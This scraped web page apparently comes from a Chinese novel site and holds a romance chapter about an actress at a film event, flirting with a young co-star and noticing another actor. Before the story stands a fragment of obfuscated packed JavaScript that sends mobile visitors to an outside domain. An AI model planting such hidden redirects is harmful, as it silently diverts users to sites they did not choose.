RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15709833|173098||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 丝巾绑得高高的,白皙的脖颈暴露在空气中,肩胛骨随着动作一翕一动,像只偶然停在肩上的蓝色蝴蝶,让人忍不住屏住呼吸想去瞧瞧。他一下子视线不知道该往哪放,胡乱转了两圈最后又落在自己的手上。 许伽宁瞥见他红得滴血的耳朵,在心里吹了一大波程柚的彩虹屁。 活动正式开始前,还有一段又臭又长的红毯要走。 许伽宁挽着卢星洲的胳膊踩上红毯,无数闪光灯骤然亮起,快门声响到要把人耳朵炸聋,许伽宁对此却毫无反应,安之若素走至签字板前,连眼睛都不带眨一下。 签字板对面站着一众捧着相机麦克风的媒体,有名的没名的数都数不过来,一见到前不久处在话题中心的许伽宁像是打了鸡血,但身材魁梧的保镖和拉到头的警戒线让他们只能扯着嗓子问出极其冒昧的问题。 许伽宁抬着眉梢,签好名转身拍照,她的视线越过镜头停在那些狼狈的记者身上,眼底是平静的玩味和恶劣。 下一秒,她狡黠一笑,朝那帮记者做了个鬼脸。 见状,记者顿时炸开,“许小姐,你现在的态度是不是也回应了网上你造假人设的传闻?” 许伽宁装听不懂,耸耸肩。 管他呢,她今天是来谈恋爱的,谁都别毁她的好心情。 拍照限时,官方的摄影师看着相机里满屏的鬼脸,捏了把汗,硬着头皮比了个OK的手势。 《洛京传》主创的位置在前几排,椅子上都标了名字,许伽宁和卢星洲一起出场,位置自然也靠在一起。 许伽宁走在前面,作为晚辈卢星洲自然地跟在她后面。《洛京传》的演员基本都到了,招呼打得不亚于阅兵。 这一排人几乎全坐满,除了他们的位子就只有正中间的那张椅子还空着,经过时许伽宁看了一眼椅背上贴着的名字,宋时冕。 这也意味着他的出场顺序很靠后。 许伽宁收起目光,走到自己的名字前坐下,卢星洲随即也坐下。 卢星洲的位置也不算靠边,他仅仅和宋时冕隔了一个人,也就是说,许伽宁和那张空椅子之间有两个人。 艺人的位子分配看似随意,但含义颇深。越边缘说明越咖位越小,不过许伽宁也懒得计较这些,比起老板们有多重视她,她更在意身边这位弟弟晚上见到她时脸会有多红,说话会有多结巴。 等开始的时间里,许伽宁捂着嘴巴和卢星洲闲聊,片刻的功夫已经快问到人姥姥的祖籍了。 “我们捡到的那只小猫已经能正常进食了,老徐今天早上还给我发它喝奶的视频的。”两人话题自然而然转到小猫身上,说到这卢星洲从兜里拿出手机把视频调给许伽宁看,“除了伤口还没养好,其他的应该没有说明大问题了。” 视频里,小猫被徐医生握在手里,前后爪并用攀在一指粗的针管上,眯着眼睛喝着慢慢推出的羊奶。 “原来它是只银渐层,喝奶的样子好可爱。”那天小猫身上脏兮兮的,看不出花色,现如今被清理得干干净净,许伽宁凭借多年云养猫的经验一眼就看出它的品种。 “对,老徐说它以后张开了会很好看。” 场内开始试音,音响声很大,恰好盖过卢星洲最后一句话,许伽宁凑过去音量提高,“什么?我没听清。” 卢星洲顺势凑到她耳边,掩住嘴,把刚才的话又重复了一遍。 这回她听清了,笑意更甚,用力点点头表示极其赞同徐医生的话。 倏尔,余光里侧进一个黑色的身影,许伽宁下意识喵了一眼那个方向。 宋时冕避开一路膝盖,走到自己的位置。坐下的瞬间,像是敏锐地捕捉到来自左边的注视,他转头,目光越过两个人瞭向女生。 许伽宁猝不及防和他对上视线,她眨眨眼睛,宋时冕朝她抬了抬眉毛,就当是打招呼了。 她收起视线,落回身边人,继续刚才的话题。卢星洲说话有趣,有种独属于大学生的稚气和幽默,许伽宁笑意盈盈,一晚上嘴角就没放下来过。 莫名地,她颈侧泛起一丝微妙的痒意。像是有人用羽毛轻轻摩挲她的皮肤,似有若无,但又无法忽视。 她睫毛微动,眼睛仍然看着卢星洲,抬手将垂落的发丝别到耳后,动作却比平时慢了几分。接着,她悄悄用余光扫向斜前方。 没有任何。刚才和她打招呼的宋时冕正在和他旁边的男演员说话。 她拿起手边的矿泉水抿了口,冰凉的液体滑过喉咙,后背却莫名有些燥热。 她拧紧瓶盖。 估计是那边她的有什么狂热粉丝吧。